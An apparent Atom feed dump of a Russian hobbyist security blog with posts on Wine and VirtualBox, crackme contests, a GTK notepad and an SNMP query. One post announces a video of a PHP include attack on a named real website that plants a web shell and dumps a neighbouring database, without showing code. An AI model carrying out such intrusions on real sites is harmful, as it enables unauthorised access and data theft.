src="http://4.bp.blogspot.com/_oxXdxKIGwp0/S1WB7mSaLLI/AAAAAAAAANs/0dRNqYkKwDY/s320/3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5428387786755026098" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;После проверяем, установилось или нет, пробуем запустить одну из стандартных программ:&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt;&lt;br /&gt;./wine notepad (блокнот)&lt;br /&gt;./wine regedit  (реестр)&lt;br /&gt;./wine cmd     (командная строка)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;А обычные exe (pe -файлы), запускать так, допустим у меня по адресу /home/Kerny/ есть файл под названием redbook.exe, который нужно запустить,&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; ./wine /home/Kerny/redbook.exe&lt;/blockquote&gt;&lt;br /&gt;Вот и все, ни каких проблем, а лучше настроить, чтобы exe файлы ассоциировались с приложением wine. Для этого (в разных дистрибутивах по-разному, но смысл везде один)&lt;br /&gt;Правая кнопка мыши на приложении =&gt; открыть с помощью=&gt; и выбираем wine.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/S1WCxvPpTKI/AAAAAAAAAN0/TQLQ7lUWPn0/s1600-h/4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 318px; height: 320px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/S1WCxvPpTKI/AAAAAAAAAN0/TQLQ7lUWPn0/s320/4.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5428388716872289442" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Теперь поставим VirtualBox(ссылка),тут можно скачать версии под разные  дистрибутивы, здесь мы качаем в rpm пакете, поэтому устанавливать проще чем wine.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;rpm -i [название пакета]&lt;/blockquote&gt;&lt;br /&gt;Допустим, пакет называется так VirtualBox_fedora11.rpm, тогда наша команда примет вид:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;rpm -i  VirtualBox_fedora11.rpm&lt;/blockquote&gt;&lt;br /&gt;Теперь смотрим в каталоге, куда ставятся все программы по умолчанию (у меня /usr/share).&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Безопасность.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Всем известно, что под Windows написана небывалая куча разной малвари. А вот  в Linux в этом плане относительная тишина, но после установки wine и других эмуляторов на Linux, многие вирусы смогут работать через эмулятор, некоторые, конечно, будут иметь сбои (например реестра в Linux нет и они не смогут прописаться в авто запуск и прочее). Так что перед установкой эмулятора следует подумать, если вы все же его поставили, то лучше проверять все файлы, хоть как — то относящиеся к ОС Windows. Что касается виртуальных машин, тут ситуация более либеральная, при запуске на них вредоносного программного обеспечения будет повреждена только виртуальная система, хотя теоретически возможно написать вирус, который способен будет «понять», что запущен на виртуальной машине и попробует прорваться в реальную ОС.&lt;br /&gt;&lt;P CLASS="western" ALIGN=RIGHT STYLE="margin-bottom: 0.35cm"&gt;&lt;/P&gt;&lt;br /&gt;&lt;P CLASS="western" ALIGN=RIGHT STYLE="margin-bottom: 0.35cm"&gt;&lt;FONT FACE="Times New Roman, serif"&gt;22.08.09&lt;BR&gt;Kerny&lt;BR&gt;sa-sec.org&lt;/FONT&gt;&lt;/P&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7740925760376550410?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7740925760376550410/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/01/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7740925760376550410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7740925760376550410'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/01/blog-post.html' title='Привкус виртуальности'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/S1V-muNbktI/AAAAAAAAANc/QIzKwiLK-PU/s72-c/1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-8602012450706131987</id><published>2010-01-09T20:03:00.003+03:00</published><updated>2010-01-09T20:12:50.070+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Object Masm for Microsoft Windows</title><content type='html'>Решил выложить скрины своей старой разработки, начал писать ее около года назад, потом забросил. Вот недавно нашел и решил продолжить. Предварительное название: &lt;br /&gt;Object Masm for Microsoft Windows - это среда разработки графических приложений на ассемблере, для ОС Windows. Пока поддерживает только синтаксис masm32. Если кто хочет помочь в разработки компонентов (button, label, edit), то я только рад. Пока компоненты разрабатываются для компилятора masm (но для fasm, тоже будут нужны) естественно они не рисуются с нуля, а основываются на Win-Api функциях.&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/S0i3SGr1mzI/AAAAAAAAANU/1yteF2ybcA0/s1600-h/1.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 231px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/S0i3SGr1mzI/AAAAAAAAANU/1yteF2ybcA0/s320/1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5424787272827771698" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/S0i3HjbtvKI/AAAAAAAAANM/kUkwJlQbMyg/s1600-h/0.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 231px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/S0i3HjbtvKI/AAAAAAAAANM/kUkwJlQbMyg/s320/0.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5424787091566214306" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-8602012450706131987?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/8602012450706131987/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/01/object-masm-for-microsoft-windows.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8602012450706131987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8602012450706131987'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/01/object-masm-for-microsoft-windows.html' title='Object Masm for Microsoft Windows'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/S0i3SGr1mzI/AAAAAAAAANU/1yteF2ybcA0/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7205389643655852040</id><published>2009-12-31T17:17:00.007+03:00</published><updated>2009-12-31T18:21:47.169+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Видео'/><title type='text'>Простой php-include</title><content type='html'>В видео рассмотрен классический пример атаки php-include, в результате чего получаем web-shell на сервере с правами обычного user'a, а также сливаем БД, находящуюся на "соседнем" сервере. Специально для заливки на сервер &lt;a href="http://kerny-auroras.blogspot.com/2009/07/r57.html"&gt;web-shell'a &lt;/a&gt;, был написан скрипт, найти его можно в архиве с видео.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/Szy48lRDY1I/AAAAAAAAANE/uPoi1fZOfhA/s1600-h/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/Szy48lRDY1I/AAAAAAAAANE/uPoi1fZOfhA/s320/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5421411402382533458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Решил под новый год сделать, что-нибудь. Всех кто читает это поздравляю и так далее...&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Жертва&lt;/span&gt;: &lt;a href="http://www.sosolid2k.co.uk/"&gt;sosolid2k.co.uk&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Найдено&lt;/span&gt;: &lt;a href="http://forum.antichat.ru/showpost.php?p=1602931&amp;postcount=991"&gt;nemaniak&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Уязвимость&lt;/span&gt;: &lt;a href="http://ru.wikipedia.org/wiki/PHP-инъекция"&gt;php-include&lt;/a&gt;.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Реализовано&lt;/span&gt;: Kerny&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Снято&lt;/span&gt;: &lt;a href="http://kerny-auroras.blogspot.com/2009/12/kdenlive.html"&gt;Kdenlive&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/15741585"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7205389643655852040?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7205389643655852040/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/12/php-include.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7205389643655852040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7205389643655852040'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/12/php-include.html' title='Простой php-include'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/Szy48lRDY1I/AAAAAAAAANE/uPoi1fZOfhA/s72-c/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-468118780781692994</id><published>2009-12-21T18:02:00.001+03:00</published><updated>2009-12-21T18:05:09.159+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>Kdenlive</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Kdenlive&lt;/span&gt; — свободная программа для нелинейного видеомонтажа, основанная на фреймворке Media Lovin' Toolkit (MLT), которая фокусируется на гибкости и простоте использования. Проект был начат Джесоном Вудом в 2002 году&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sy-OQrhj79I/AAAAAAAAAM8/R-YQTMEocCo/s1600-h/1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 224px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/Sy-OQrhj79I/AAAAAAAAAM8/R-YQTMEocCo/s320/1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5417705293962538962" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kdenlive поддерживает экспорт и импорт во все форматы, поддерживаемые FFmpeg. Поддерживается импорт с DV и V4L-устройств, захват видео с экрана, экспорт на DVD.&lt;br /&gt;Первоначально создавалась для KDE 3, фреймворк MLT не использовался. Позже программа была перенесена на KDE 4 и MLT, для этого код был почти полностью переписан. Поддерживает различные аудио- и видеоэффекты.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Установка&lt;/span&gt;:&lt;br /&gt;&lt;blockquote&gt;yum install kdenlive &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-468118780781692994?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/468118780781692994/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/12/kdenlive.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/468118780781692994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/468118780781692994'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/12/kdenlive.html' title='Kdenlive'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/Sy-OQrhj79I/AAAAAAAAAM8/R-YQTMEocCo/s72-c/1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7506532208634857167</id><published>2009-12-14T15:45:00.007+03:00</published><updated>2011-08-22T22:38:07.785+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>Notepad For Linux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-weight: bold;"&gt;Автор&lt;/span&gt;: Kerny&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ОС&lt;/span&gt;: Linux, Windows&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Зависимости&lt;/span&gt;: gtk 2.0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Название&lt;/span&gt;: Notepad For Linux&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Сайт разработчика&lt;/span&gt;: http://kerny-auroras.blogspot.com&lt;br /&gt;&lt;a href="http://forum.antichat.ru/showpost.php?p=1937382&amp;amp;postcount=1"&gt;Руководство по разработке программы &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SyY1Va9ZelI/AAAAAAAAAM0/-QFQ1P3CVRI/s1600-h/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5415074244089969234" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SyY1Va9ZelI/AAAAAAAAAM0/-QFQ1P3CVRI/s320/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png" style="cursor: hand; cursor: pointer; display: block; height: 246px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Описание&lt;/span&gt;:&lt;br /&gt;В ОС Linux существует множество текстовых редакторов, но все они многофункциональные, тяжеловесные, иногда нужно сохранить текст, на время, что бы, например, потом вставить в строку поиска и т.п. Этот редактор практически аналогичен Блокноту в системе Windows и как раз подходит для такой задачи, хочу сказать что код полностью кроссплатформенный, его можно откомпилировать практически под любую систему.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Файлы&lt;/span&gt;:&lt;br /&gt;GuiNotepad.xml - описание графического интерфейса программы&lt;br /&gt;Notepad.c      - исходный код программы&lt;br /&gt;Notepad        - откомпилированная версия программы&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Установка&lt;/span&gt;:&lt;br /&gt;Если файл Notepad не запускается, то нужно заново откомпилировать программы под вашу систему, делается это так:&lt;br /&gt;&lt;blockquote&gt;"gcc notepad.c -o notepad -export-dynamic `pkg-config --cflags --libs gtk+-2.0`"&lt;/blockquote&gt;Для правильной компиляции нужна библиотека gtk 2.0.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Лог:&lt;br /&gt;Версия 1.2&lt;br /&gt;+Исправлен недочет с открытием файлов, характерный лишь для версии 1.1&lt;br /&gt;+Исправлен недочет с дублированием последней строки&lt;br /&gt;&lt;br /&gt;Версия 1.1&lt;br /&gt;+ Исправленны критические ошибки, в частности "переполнение буфера" при чтение из файла&lt;br /&gt;+ Исправленн ряд мелких недочетов, связанный с преобразованием типов&lt;br /&gt;+ Полность переписан код для открытия файла&lt;/i&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Скачать&lt;/span&gt;:&lt;br /&gt;&lt;a href="http://ifolder.ru/15471428"&gt;ifolder Версия 1.1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/ru/files/zfgfon8nt"&gt;deposit Версия 1.2&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7506532208634857167?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7506532208634857167/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/12/notepad-for-linux.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7506532208634857167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7506532208634857167'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/12/notepad-for-linux.html' title='Notepad For Linux'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/SyY1Va9ZelI/AAAAAAAAAM0/-QFQ1P3CVRI/s72-c/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1072110889105070235</id><published>2009-12-06T17:28:00.002+03:00</published><updated>2009-12-06T17:44:02.517+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Взлом'/><title type='text'>Crackme#2 by Kerny</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Уровень сложности 0.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img7.imageshost.ru/imgs/091104/8c1837d2e4/2ee06.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 219px; height: 216px;" src="http://img7.imageshost.ru/imgs/091104/8c1837d2e4/2ee06.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Приз достанется первому взломавшему. Что за приз я не скажу, дабы заинтересовать вас. По окончанию взлома, прошу победителя написать описание, о том как он сделал это.&lt;br /&gt;&lt;p&gt;Причем, crackme мало просто кракнуть, чтобы получить приз, потому что пароль к призу зашифрован шифром Вермана(xor), и ключом к расшифровке является серийный номер. В crackme встроенна подпрограмма, которая расшифрует вам пароль, но только если серийник правильный, - Удачи!&lt;/p&gt;&lt;p&gt;Конкурс завершен призы розданы.&lt;/p&gt;&lt;p&gt;Приз любезно предоставил &lt;a href="http://forum.hackzona.ru/member.php?u=145071"&gt;fraIzer&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="http://ifolder.ru/14833320"&gt;Скачать&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://letitbit.net/download/9639.975acec7f7561ed534ba10522/cracme_by_kerny_2.exe.html"&gt;Зеркало&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://depositfiles.com/files/0hpoypnvq"&gt;Зеркало№2&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1072110889105070235?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1072110889105070235/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/12/crackme2-by-kerny.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1072110889105070235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1072110889105070235'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/12/crackme2-by-kerny.html' title='Crackme#2 by Kerny'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1172025078844640620</id><published>2009-12-06T17:17:00.003+03:00</published><updated>2009-12-06T17:26:35.256+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Взлом'/><title type='text'>Сrackme#1 by Kerny</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Уровень сложности 0.1&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img6.imageshost.ru/imgs/090525/e1bbd9bb2f/3e862.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 198px; height: 201px;" src="http://img6.imageshost.ru/imgs/090525/e1bbd9bb2f/3e862.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Приз достанется первому взломавшему. Что за приз я не скажу, дабы заинтересовать вас.  &lt;br /&gt;Приз любезно предоставил  &lt;a href="http://forum.hackzona.ru/member.php?u=145071"&gt;fraIzer&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Конкурс завершен, но не смотря на это вы можете потренироваться, на этом кракме.&lt;br /&gt;&lt;/p&gt;&lt;a href="http://ifolder.ru/1229624"&gt;Скачать&lt;/a&gt; &lt;br /&gt;&lt;a href="http://letitbit.net/download/9daec99a1b/crackme_1_by_Kerny.exe.html"&gt;Зеркало&lt;/a&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/files/2nned3alq"&gt;Зеркало№2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1172025078844640620?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1172025078844640620/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/12/rackme1-by-kerny.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1172025078844640620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1172025078844640620'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/12/rackme1-by-kerny.html' title='Сrackme#1 by Kerny'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6650859706638723016</id><published>2009-12-04T13:43:00.002+03:00</published><updated>2009-12-04T13:59:49.979+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Поднимаем SNMP</title><content type='html'>&lt;p&gt;Качаем и устанавливаем &lt;a href="http://sourceforge.net/projects/net-snmp/files/ucd-snmp/4.2.7.1/"&gt;net-snmp&lt;/a&gt;. Так же можно скачать &lt;a href="http://www.net-snmp.org/"&gt;SNTP&lt;/a&gt; - демон, но не обязательно,  если скачаете и настроите, то можно будет получать данные по сети и о своем компе (в зависимости от настроек) это может пригодится, если у вас, например прокси сервер установлен, или просто web-сервер. С помощью net-snmp можно получать данные о состояние сетевых устройств (маршрутиризаторов и т.п)&lt;/p&gt;&lt;p&gt;Пример использования:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[Kerny@localhost Рабочий стол]$ snmpget 192.168.100.1 public  system.sysDescr.0&lt;br /&gt;system.sysDescr.0 = HW_REV: 1; VENDOR: Motorola Corporation; BOOTR: xxxx; SW_REV: SBxxxxx-x.x.x.x-SCMxx-NOSH; MODEL: xxxxx&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Это я натравил на свой модем, можно и на cisco натравливать, и если snmp настроено коряво, что позволяет получить доступ не с локалки, а с интернета, то при взломе маршрутизатора, это существенно облегчает задачу.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;SNMP (англ. Simple Network Management Protocol — протокол простого управления сетями) — это протокол управления сетями связи на основе архитектуры TCP/IP.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6650859706638723016?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/6650859706638723016/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/12/snmp.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6650859706638723016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6650859706638723016'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/12/snmp.html' title='Поднимаем SNMP'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5386073189852982755</id><published>2009-11-27T11:03:00.030+03:00</published><updated>2009-11-27T12:42:25.482+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Ссылка в никуда или сломанный указатель.</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="font-family:webdings;"&gt;Ссылка в никуда или сломанный указатель.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Язык программирования &lt;span style="color:#000000;"&gt;&lt;span style="font-style:italic;"&gt;C/C++&lt;/span&gt; &lt;/span&gt;и ему подобные, можно по праву назвать «высокоуровневым ассемблером», благодаря их гибкости и свободе. Но у чрезмерной свободы существуют и свои недостатки, следует неустанно следить, за тем, чтобы свобода одного не мешала свободе другого. Именно поэтому на программистов 